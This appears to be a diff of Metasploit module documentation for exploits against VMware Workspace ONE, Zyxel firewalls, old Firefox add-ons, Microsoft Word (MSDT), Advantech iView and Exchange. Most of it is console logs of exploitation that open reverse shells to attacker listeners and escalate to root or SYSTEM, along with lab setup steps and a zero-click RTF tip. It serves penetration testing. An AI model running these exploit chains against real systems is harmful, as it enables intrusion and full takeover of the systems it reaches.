SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
|
||||
[*] Sending stage (40132 bytes) to 192.168.159.98
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : photon-machine
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > getuid
|
||||
Server username: horizon
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Backing up the original file...
|
||||
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
|
||||
[*] Triggering the payload...
|
||||
[*] Sending stage (40132 bytes) to 192.168.250.237
|
||||
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
|
||||
[*] Restoring file contents...
|
||||
[*] Restoring file permissions...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : photon-machine
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,198 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
|
||||
allows a low privileged user (e.g. `nobody`) escalate to root. The issue stems from
|
||||
a suid binary that allows all users to copy files as `root`. This module overwrites
|
||||
the firewall's crontab to execute an attacker provided script, resulting in code
|
||||
execution as `root`.
|
||||
|
||||
In order to use this module, the attacker must first establish shell access. For
|
||||
example, by exploiting CVE-2022-30525.
|
||||
|
||||
Known affected Zyxel models are:
|
||||
|
||||
* USG FLEX 50, 50W, 100W, 200, 500, 700
|
||||
* ATP 100, 200, 500, 700, 800
|
||||
* VPN 50, 100, 300, 1000
|
||||
* USG20-VPN and USG20W-VPN
|
||||
|
||||
### Setup
|
||||
|
||||
The vulnerable system is a hardware firewall/vpn that, to our knowledge,
|
||||
cannot be emulated. As such, testing requires a physical device. Once the
|
||||
device has been acquired, you'll need to accomplish the following:
|
||||
|
||||
* Once powered on, register the device with Zyxel. You cannot do anything
|
||||
with the device until this is accomplished. Fortunately, the web interface
|
||||
will force you to complete this process. You'll need to create an account at
|
||||
https://portal.myzyxel.com and the firewall will need internet connectivity
|
||||
to complete the process.
|
||||
|
||||
* Once the device is up to date, you'll need to downgrade the firmware. From
|
||||
portal.myzyxel.com you can download old firmware from:
|
||||
|
||||
Devices Management -> Firmware Download
|
||||
|
||||
From there you can select model and version to download. The last vulnerable
|
||||
version from the affected systems is 5.21 Patch 1.
|
||||
|
||||
* Once you are using the vulnerable version, there is no special configuration
|
||||
you need to exploit from the LAN. If you want to exploit from the WAN, you'll
|
||||
need to enable "HTTP" and/or "HTTPS" through the firewall. From the web interface
|
||||
do:
|
||||
|
||||
Configuration -> Objects -> Service -> Service Group -> Default_Allow_WAN_To_ZyWALL
|
||||
|
||||
And move "HTTP" and/or "HTTPS" from the left column to the right. After applying
|
||||
the firewall should pass HTTP/HTTPS through the firewall to the web interface.
|
||||
|
||||
* That's it. You are good to go.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow setup steps above.
|
||||
* Establish a shell on the device. See `exploit/linux/http/zyxel_ztp_rce`
|
||||
* Do: `use exploit/linux/local/zyxel_suid_cp_lpe`
|
||||
* Do: `check`
|
||||
* Verify the remote host is exploitable
|
||||
* Do: `set LHOST <ip>`
|
||||
* Do: `run`
|
||||
* Verify the module acquires a root shell
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Successful escalation to root bash shell on USG Flex 100 using firmware 5.21
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zyxel_ztp_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
|
||||
RHOST => 10.0.0.14
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
|
||||
LHOST => 10.0.0.28
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.28:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
|
||||
[*] Executing Shell Dropper for cmd/unix/reverse_bash
|
||||
[*] Sending command to /ztp/cgi-bin/handler
|
||||
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:50827) at 2022-05-13 11:55:47 -0700
|
||||
[+] Command successfully executed.
|
||||
|
||||
id
|
||||
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
|
||||
cat /zyinit/fwversion
|
||||
KERNEL_VERSION=3.10.87
|
||||
FIRMWARE_VER=5.21(ABUH.1)521-r103462-k3
|
||||
CAPWAP_VER=1.00.04
|
||||
COMPATIBLE_PRODUCT_MODEL_0=E15D
|
||||
COMPATIBLE_PRODUCT_MODEL_1=FFFF
|
||||
COMPATIBLE_PRODUCT_MODEL_2=FFFF
|
||||
COMPATIBLE_PRODUCT_MODEL_3=FFFF
|
||||
COMPATIBLE_PRODUCT_MODEL_4=FFFF
|
||||
MODEL_ID=USG FLEX 100
|
||||
KERNEL_BUILD_DATE=2022-03-15 03:18:23
|
||||
BUILD_DATE=2022-03-15 05:14:23
|
||||
FSH_VER=1.0.0
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28
|
||||
LHOST => 10.0.0.28
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.28:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. System version: USG FLEX 100, 5.21(ABUH.1)521-r103462-k3
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[*] Overwriting /var/zyxel/crontab
|
||||
[*] The payload may take up to 60 seconds to be executed by cron
|
||||
[+] Deleted /tmp/bJUQqm
|
||||
[*] Resetting crontab to the original version
|
||||
[+] Deleted /tmp/IcNlzvnv5
|
||||
[*] Command shell session 2 opened (10.0.0.28:4444 -> 10.0.0.14:50829) at 2022-05-13 11:57:08 -0700
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
|
||||
```
|
||||
|
||||
### Successful escalation to root Meterpreter on USG Flex 100 using firmware 5.21
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zyxel_ztp_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
|
||||
RHOST => 10.0.0.14
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
|
||||
LHOST => 10.0.0.28
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.28:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
|
||||
[*] Executing Shell Dropper for cmd/unix/reverse_bash
|
||||
[*] Sending command to /ztp/cgi-bin/handler
|
||||
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:50827) at 2022-05-13 11:55:47 -0700
|
||||
[+] Command successfully executed.
|
||||
|
||||
id
|
||||
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
|
||||
cat /zyinit/fwversion
|
||||
KERNEL_VERSION=3.10.87
|
||||
FIRMWARE_VER=5.21(ABUH.1)521-r103462-k3
|
||||
CAPWAP_VER=1.00.04
|
||||
COMPATIBLE_PRODUCT_MODEL_0=E15D
|
||||
COMPATIBLE_PRODUCT_MODEL_1=FFFF
|
||||
COMPATIBLE_PRODUCT_MODEL_2=FFFF
|
||||
COMPATIBLE_PRODUCT_MODEL_3=FFFF
|
||||
COMPATIBLE_PRODUCT_MODEL_4=FFFF
|
||||
MODEL_ID=USG FLEX 100
|
||||
KERNEL_BUILD_DATE=2022-03-15 03:18:23
|
||||
BUILD_DATE=2022-03-15 05:14:23
|
||||
FSH_VER=1.0.0
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28
|
||||
LHOST => 10.0.0.28
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.28:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. System version: USG FLEX 100, 5.21(ABUH.1)521-r103462-k3
|
||||
[*] Executing Linux Dropper for linux/mips64/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://10.0.0.28:8080/0g5aPNZ8DvT1n
|
||||
[*] Overwriting /var/zyxel/crontab
|
||||
[*] The payload may take up to 60 seconds to be executed by cron
|
||||
[*] Client 10.0.0.14 (curl/7.70.0) requested /0g5aPNZ8DvT1n
|
||||
[*] Sending payload to 10.0.0.14 (curl/7.70.0)
|
||||
[+] Deleted /tmp/hdpBYBRk
|
||||
[+] Deleted /tmp/OpTYd0c0
|
||||
[*] Meterpreter session 3 opened (10.0.0.28:4444 -> 10.0.0.14:50832) at 2022-05-13 12:00:01 -0700
|
||||
[*] Command Stager progress - 100.00% done (115/115 bytes)
|
||||
[*] Resetting crontab to the original version
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > shell
|
||||
Process 29664 created.
|
||||
Channel 1 created.
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,69 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Mozilla Firefox before version 41 allowed users to install
|
||||
unsigned browser extensions from arbitrary web servers.
|
||||
|
||||
This module dynamically creates an unsigned .xpi addon file.
|
||||
The resulting bootstrapped Firefox addon is presented to
|
||||
the victim via a web page. The victim's Firefox browser
|
||||
will pop a dialog asking if they trust the addon.
|
||||
|
||||
Once the user clicks "install", the addon is installed and
|
||||
executes the payload with full user permissions. As of Firefox
|
||||
4, this will work without a restart as the addon is marked to
|
||||
be "bootstrapped". As the addon will execute the payload after
|
||||
each Firefox restart, an option can be given to automatically
|
||||
uninstall the addon once the payload has been executed.
|
||||
|
||||
As of Firefox 41, unsigned extensions can still be installed
|
||||
on Firefox Nightly, Unbranded and Development builds when
|
||||
configured with `xpinstall.signatures.required` set to `false`.
|
||||
|
||||
Note: this module generates legacy extensions which are
|
||||
supported only in Firefox before version 57.
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
Download an old Developer Edition (version 4 < 57) installer from:
|
||||
|
||||
* https://download-origin.cdn.mozilla.net/pub/devedition/releases/
|
||||
|
||||
Browse to `about:config` and set `xpinstall.signatures.required` to `false`.
|
||||
|
||||
Open Tools -> Options, search for "updates" and select "Never check for updates".
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. Do: `use exploit/multi/browser/firefox_xpi_bootstrapped_addon`
|
||||
1. Do: `set SRVHOST [IP]`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Firefox Developer Edition 56.0b9 on Windows 7 SP1 (x64) with xpinstall.signatures.required disabled
|
||||
|
||||
Run the module and load the web server URL in Firefox. Install the extension when prompted.
|
||||
|
||||
```
|
||||
msf6 post(windows/gather/enum_domains) > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
|
||||
[*] No payload configured, defaulting to generic/shell_reverse_tcp
|
||||
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > run
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Using URL: http://192.168.200.130:8080/Oj8qCs
|
||||
[*] Server started.
|
||||
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) >
|
||||
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Redirecting request.
|
||||
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending HTML response.
|
||||
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
|
||||
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.190:49861) at 2022-09-04 01:46:40 -0400
|
||||
```
|
||||
@@ -1,22 +1,27 @@
|
||||
There exists a vulnerability in Microsoft Word that leverages the remote template feature to achieveremote code execution against the target.
|
||||
There exists a vulnerability in Microsoft Word that leverages the remote template feature to achieve remote code
|
||||
execution against the target.
|
||||
|
||||
The vulnerability came to light after an independent cybersecurity research team known as `nao_sec` uncovered a Word document ([05-2022-0438.doc](https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/)) that was uploaded to VirusTotal from an IP address in Belarus.
|
||||
The vulnerability came to light after an independent cyber-security research team known as `nao_sec` uncovered a Word
|
||||
document ([05-2022-0438.doc](https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/)) that was uploaded to
|
||||
VirusTotal from an IP address in Belarus.
|
||||
|
||||
The document uses the remote template feature to fetch an `HTML` document and then uses the `ms-msdt` scheme to execute `PowerShell` code.
|
||||
The document uses the remote template feature to fetch an HTML document and then uses the `ms-msdt` scheme to execute
|
||||
PowerShell code.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability has been proved in Office 2013, 2016, 2019, 2021, Office ProPlus and Office 365. It also applies to Windows itself, e.g. it can be called from `.lnk` files and with `wget` into `PowerShell`.
|
||||
The vulnerability has been found in Office 2013, 2016, 2019, 2021, Office ProPlus and Office 365. It also applies to
|
||||
Windows itself, e.g. it can be called from `.lnk` files and with `wget` into `PowerShell`.
|
||||
|
||||
The vulnerability appears exploitable using `.RTF` files on all versions of Office 365, including current channel.
|
||||
The vulnerability is exploitable using `.RTF` files on all versions of Office 365, including current channel.
|
||||
|
||||
However, with Insider and Current builds of Office, it doesn't seem to work.
|
||||
|
||||
### Make your lab
|
||||
|
||||
You need official version of Microsoft Office installed. And stay unpatched for this.
|
||||
You need an official version of Microsoft Office installed.
|
||||
|
||||
Tested on Microsoft Windows 10 1909 w/ Microsoft Office Word 2016.
|
||||
Tested on Microsoft Windows 10 1909 with Microsoft Office Word 2016.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -36,11 +41,14 @@ A DOCX file that will be used as a template to build the exploit.
|
||||
|
||||
Obfuscate JavaScript content. Default: true
|
||||
|
||||
**URIPATH**
|
||||
The URI for the callback to get the payload. Testing suggests this must be ANSI compatible and the full URI must be less than 76 characters.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Basic use
|
||||
|
||||
1. Generate the exploit as following.
|
||||
1. Generate the exploit for docx as following.
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 172.20.32.36:4444
|
||||
@@ -86,7 +94,91 @@ Obfuscate JavaScript content. Default: true
|
||||
|
||||
### The 0-Click tip
|
||||
|
||||
You can get the 0-click by converting, manually, the `.docx` file generated by the module into a `.rtf` file format.
|
||||
You can get the 0-click by either selecting the 'rtf' option in converting, manually, the `.docx` file generated by the module into a `.rtf` file format.
|
||||
|
||||
### RTF
|
||||
|
||||
1. Generate the exploit for rtf as following.
|
||||
```
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > show options
|
||||
|
||||
Module options (exploit/windows/fileformat/word_msdtjs_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CUSTOMTEMPLATE no A DOCX file that will be used as a template to build the exploit.
|
||||
FILENAME msf.docx no The file name.
|
||||
OBFUSCATE true yes Obfuscate JavaScript content.
|
||||
OUTPUT_FORMAT docx yes File format to use [docx, rtf]. (Accepted: docx, rtf)
|
||||
SRVHOST 10.5.135.101 yes The local host or network interface to listen on. This must be an address on the loca
|
||||
l machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Microsoft Office Word
|
||||
|
||||
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set filename test.rtf
|
||||
filename => test.rtf
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set output_format rtf
|
||||
output_format => rtf
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set lhost 10.5.135.101
|
||||
lhost => 10.5.135.101
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set disablepayloadhandler false
|
||||
disablepayloadhandler => false
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 10.5.135.101:4444
|
||||
[*] Using URL: http://10.5.135.101:8080/7eIbCn81aas277
|
||||
[*] Server started.
|
||||
[*] Generating a malicious rtf file
|
||||
[+] test.rtf stored at /home/tmoose/.msf4/local/test.rtf
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > [*] Powershell command length: 3718
|
||||
```
|
||||
|
||||
2. Upload rtf file to remote host, make sure 'preview' is enabled, and click on the file. (You don't need to open it, just click once to preview it)
|
||||
|
||||
```
|
||||
[*] 10.5.132.101 word_msdtjs_rce - Sending HTML Payload
|
||||
[*] 10.5.132.101 word_msdtjs_rce - Obfuscate JavaScript content
|
||||
[*] 10.5.132.101 word_msdtjs_rce - Sending PowerShell Payload
|
||||
[*] Sending stage (200774 bytes) to 10.5.132.101
|
||||
[*] Meterpreter session 1 opened (10.5.135.101:4444 -> 10.5.132.101:51221) at 2022-08-17 10:56:01 -0500
|
||||
|
||||
msf6 exploit(windows/fileformat/word_msdtjs_rce) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-D1E425Q
|
||||
OS : Windows 10 (10.0 Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-D1E425Q\msfuser
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Versions of Advantech iView software below `5.7.04.6469` are vulnerable to
|
||||
an unauthenticated command injection vulnerability via the `NetworkServlet` endpoint.
|
||||
The database backup functionality passes a user-controlled parameter, `backup_file`
|
||||
to the `mysqldump` command. The sanitization functionality only tests for SQL injection
|
||||
attempts and directory traversal, so leveraging the `-r` and `-w` `mysqldump` flags
|
||||
permits exploitation. The command injection vulnerability is used to write a
|
||||
payload on the target and achieve remote code execution as NT AUTHORITY\SYSTEM.
|
||||
|
||||
A vulnerable version can be installed from [here](https://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-26RVVS9).
|
||||
|
||||
Other versions of the software can be found [here](https://www.advantech.tw/support/details/firmware?id=1-HIPU-183).
|
||||
|
||||
### Installation Instructions
|
||||
|
||||
Distributed with the installer is a PDF containing detailed installation instructions
|
||||
for the software. Once the installation has finished, you may have issues getting the
|
||||
Tomcat service to start. If that's the case, follow the steps below (pulled from advantech_iview_unauth_rce.md):
|
||||
|
||||
1. Copy the msvcr100.dll file from C:\Program Files (x86)\Java\jre7\bin to C:\Program Files (x86)\iView\Apache Software Foundation\Tomcat6.0\bin.
|
||||
2. Restart the "Apache Tomcat 6" service. 1 At this point, the application should be listening on port 8080 and no additional configuration is necessary.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/advantech_iview_networkservlet_cmd_inject`
|
||||
4. Do: `set RHOST <ip>`
|
||||
5. Do: `run`
|
||||
6. You should get a meterpreter session.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Advantech iView Webserver `v5.7.04.6425` on Windows 10 21H2 x64
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/advantech_iview_networkservlet_cmd_inject
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set rhost 192.168.140.197
|
||||
rhost => 192.168.140.197
|
||||
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Using URL: http://192.168.140.1:8080/QVp4zocvVZ9f
|
||||
[*] Client 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /QVp4zocvVZ9f
|
||||
[*] Sending payload to 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
|
||||
[*] Sending stage (200774 bytes) to 192.168.140.197
|
||||
[*] Command Stager progress - 100.00% done (125/125 bytes)
|
||||
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.197:50152) at 2022-07-21 16:48:57 -0500
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'webapps\iView3\vQbGQrFe.jsp' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-04M9HG7
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
-895
@@ -1,895 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
This vulnerability allows remote attackers to execute arbitrary code
|
||||
on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11
|
||||
prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3,
|
||||
and Exchange Server 2016 CU22 prior to Security Update 2.
|
||||
|
||||
Note that authentication is required to exploit this vulnerability.
|
||||
|
||||
The specific flaw exists due to the fact that the deny list for the
|
||||
ChainedSerializationBinder had a typo whereby an entry was typo'd as
|
||||
`System.Security.ClaimsPrincipal` instead of the proper value of
|
||||
`System.Security.Claims.ClaimsPrincipal`.
|
||||
|
||||
By leveraging this vulnerability, attacks can bypass the
|
||||
`ChainedSerializationBinder`'s deserialization deny list
|
||||
and execute code as `NT AUTHORITY\SYSTEM`.
|
||||
|
||||
Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,
|
||||
and Exchange Server 2016 CU22 SU0 on Windows Server 2016.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Set up a version of Windows Server 2019.
|
||||
2. Download Exchange Server 2019 CU11 SU0 from https://download.microsoft.com/download/5/3/e/53e75dbd-ca33-496a-bd23-1d861feaa02a/ExchangeServer2019-x64-CU11.ISO
|
||||
3. Follow the guide at https://petri.com/how-to-install-active-directory-in-windows-server-2019-server-manager to turn
|
||||
the server into an AD server.
|
||||
4. Mount the ISO and run `Setup.exe`. It should prompt you install .NET Framework, Visual Studio C++ Redistributables,
|
||||
and Unified Communications Managed API. Install these and then reboot.
|
||||
5. Follow https://www.nucleustechnologies.com/blog/step-by-step-guide-to-install-exchange-server-2019-part-1/ and
|
||||
install the required features.
|
||||
6. Keep running `Setup.exe` and installing extra dependencies as needed as per the links.
|
||||
7. When you do get all dependencies installed, Exchange should give a button called `Install` which should no longer be
|
||||
greyed out. Press this to install and accept any warnings that appear.
|
||||
8. Go to https://*ip here*/owa/ and make sure you can see the Exchange Outlook login page.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Follow [Setup](#setup) to set up a vulnerable target.
|
||||
2. `msfconsole`
|
||||
3. `set RHOST <target IP address>`
|
||||
4. `set LHOST <IP for target to connect back to>`
|
||||
5. `set HttpUsername <username of OWA user to log in as>`
|
||||
6. `set HttpPassword <password for this OWA user>`
|
||||
7. Optional: `set DOMAIN <domain of OWA user>`
|
||||
8. Optional: `set VHOST <vhost of target>`
|
||||
9. `exploit`
|
||||
10. You should get a shell on the target as `NT AUTHORITY\SYSTEM` if it is vulnerable.
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
Windows Command
|
||||
|
||||
### 1
|
||||
|
||||
Windows Dropper
|
||||
### 2
|
||||
|
||||
PowerShell Stager
|
||||
|
||||
## Options
|
||||
|
||||
### HttpUsername
|
||||
|
||||
Set this to the OWA username. This can also be set to a valid domain username that has permissions to log into Exchange.
|
||||
|
||||
### HttpPassword
|
||||
|
||||
Set this to the OWA password. This can also be set to the password for a domain user that has permissions to log into Exchange.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange Server 2016 CU22 SU0 On Windows Server 2016
|
||||
|
||||
#### Target 0 - Windows Command
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOSTS 172.24.104.104
|
||||
RHOSTS => 172.24.104.104
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
|
||||
HttpUsername => administrator
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
|
||||
HttpPassword => thePassword123!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.24.97.166
|
||||
LHOST => 172.24.97.166
|
||||
